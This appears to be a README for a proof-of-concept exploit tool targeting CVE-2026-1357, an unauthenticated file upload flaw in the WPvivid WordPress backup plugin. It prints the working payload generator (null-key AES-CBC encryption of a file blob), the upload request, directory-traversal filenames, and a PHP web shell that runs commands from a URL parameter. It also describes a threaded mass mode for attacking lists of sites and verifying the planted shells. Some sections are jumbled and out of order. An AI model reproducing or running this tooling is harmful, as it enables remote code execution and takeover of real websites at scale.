
Migration, Backup, Staging <= 0.9.123 - Unauthenticated Arbitrary File Upload
CVE-2026-1357.py)Migration, Backup, Staging – WPvivid Backup & Migration ≤ 0.9.123
Vulnerability: Unauthenticated Arbitrary File Upload → Remote Code Execution
CVE: CVE-2026-1357 – CVSS 9.8 (Critical)
GitHub: https://github.com/Nxploited
Telegram: @KNxploited
CVE-2026-1357.py is a proof-of-concept exploitation tool for the WPvivid vulnerability. It focuses on the flawed AES session handling that allows an attacker to:
name) into the payload.wpvivid_action=send_to_site parameter.The script does not attempt to guess or abuse private keys directly. Instead, it simulates WPvivid’s broken flow where a failed openssl_private_decrypt() leads to phpseclib’s AES cipher being initialized with a null-key.
The core of the exploit is in gen_wpvivid_payload():
It builds a JSON structure:
{
"name": "<file_name>",
"offset": 0,
"data": "<base64(file_bytes)>",
"file_size": <len(file_bytes)>,
"md5": "<md5(file_bytes)>"
}
It serializes this JSON (compact form, no spaces).
It encrypts the JSON using:
AES-128-CBCkey = b"\x00" * 16iv = b"\x00" * 16It then prepends:
"000" (a static length field placeholder)."{len(cipher):016X}".The final encrypted blob is:
"000" + <16-byte cipher length hex> + <raw AES-CBC ciphertext>
This blob is base64-encoded and returned as the final wpvivid_content value.
Function:
def gen_wpvivid_payload(file_name: str, file_bytes: bytes) -> str:
file_md5 = hashlib.md5(file_bytes).hexdigest()
json_obj = {
"name": file_name,
"offset": 0,
"data": base64.b64encode(file_bytes).decode(),
"file_size": len(file_bytes),
"md5": file_md5,
}
json_str = json.dumps(json_obj, separators=(",", ":")).encode()
cipher = AES.new(NULL_KEY, AES.MODE_CBC, NULL_IV)
encrypted = cipher.encrypt(pad(json_str, AES.block_size))
key_len_field = b"000"
cipherlen_field = f"{len(encrypted):016X}".encode()
blob = key_len_field + cipherlen_field + encrypted
return base64.b64encode(blob).decode()
This matches the WPvivid decryption expectations in the vulnerable code path after RSA decryption failure.
The script has two main modes plus a mass-testing capability:
mood1 – Payload Generator
wpvivid_content value using the null-key trick.mood2 – Single Target Tester
Mass Mode (from mood1)
python3 CVE-2026-1357.py
You will see a Rich-based UI with a banner and mode selection:
mood1 – Payload Generatormood2 – Single Target Testerwpvivid_content) that encodes:
Mode selection
When prompted:
Choose mode (mood1/mood2) [mood1]:
Press Enter (defaults to mood1) or type mood1.
Target filename / path
You are asked for:
Target file name (e.g., Nx_.php or ../../public/Nx_.php):
Examples:
To drop a file into the WPvivid backup directory:
Nx_.php
To abuse directory traversal (if allowed by the target):
../../public_html/Nx_.php
The value goes into the name field of the JSON payload.
Content input mode
The script displays three ways to define the file content:
EOF).shell.php).After generating the payload, the script asks:
Auto-send this payload to targets list (mass mode)? (y/N):
If you answer y, it starts mass mode with the payload and filename you just created.
Targets file
Example prompt:
Targets list file (one URL per line):
Expected format of file (e.g. targets.txt):
https://site1.com
site2.com
http://site3.net
The script will automatically normalize base URLs (adding scheme where missing).
Thread count
Threads (concurrent sites) [5]:
Controls how many sites are processed in parallel.
Per-target logic
For each target:
Normalize URL → base_url.
Call:
send_wpvivid_payload(base_url, payload)
which:
wpvivid_action=send_to_site + wpvivid_content=<payload> POST.{"result":"success"} (compact form check).wpvivid_payload.txt or external source) against a single URL, and verify resulting file.Target URL
Prompt:
Target base URL (e.g., https://site.com):
Example:
https://victim.com
The script normalizes this to a base like:
https://victim.com
File name
Prompt:
Expected file name (e.g., Nx_.php):
This is the name/path you expect WPvivid to write (matching what you encoded in the payload’s name field).
Payload input
Prompt:
Paste wpvivid_content payload (base64 or 'wpvivid_content=...'):
wpvivid_content=..., it strips the prefix.Execution
The script:
Sends the POST with wpvivid_action=send_to_site + your wpvivid_content.
This mode is ideal for manual / lab testing of a single site with fine control over the payload.
wpvivid_payload.txt
mood1.file_name=<file_name_you_chose>wpvivid_content=<payload>Nx_.txt
mood1 (mass mode) and mood2.This tool is intended solely for:
By using this script, you agree that:
Use it at your own risk and only for legitimate security testing.
Nxploited (Khaled Alenazi)https://github.com/Nxploited@KNxploitedFor updates, tools, and security research content, follow the Telegram channel:
👉 @KNxploited
You are prompted:
Mode [1/2/3] [1]:
Mode 1 – Single line
Single line content:
Input example:
<?php phpinfo();
Mode 2 – Multi-line
Enter file content, line by line. Type 'EOF' on its own line when done.
You can paste or type a multi-line PHP script, then end with EOF on its own line:
<?php
echo "Nxploited shell";
system($_GET['cmd'] ?? 'id');
?>
EOF
Mode 3 – Local file
Local file path (e.g., shell.php):
The script reads the entire file into file_bytes.
Payload generation
Once the content is captured, the script:
You see output like:
Payload generated.
Use the value after '=' as wpvivid_content.
wpvivid_content=BASE64_BLOB_HERE
And a file wpvivid_payload.txt is written:
file_name=Nx_.php
wpvivid_content=BASE64_BLOB_HERE
If upload is considered successful:
Construct shell_url as:
f"{base_url}/wp-content/wpvividbackups/{file_name.lstrip('/')}"
Save it to Nx_.txt.
Attempt verify_written_file():
shell_url with GET.status_code == 200, marks as verified.If any errors occur:
short_reason():
UI
[OK] <shell_url> on success.[FAIL] <base> (reason: ...) on error.[!] Not verified (...) when upload may have succeeded but verification failed.If the response suggests success, it constructs:
<base_url>/wp-content/wpvividbackups/<file_name.lstrip('/')>
and prints [OK] with that URL.
Appends successful URLs to Nx_.txt.
Attempts verification via verify_written_file() and prints the result.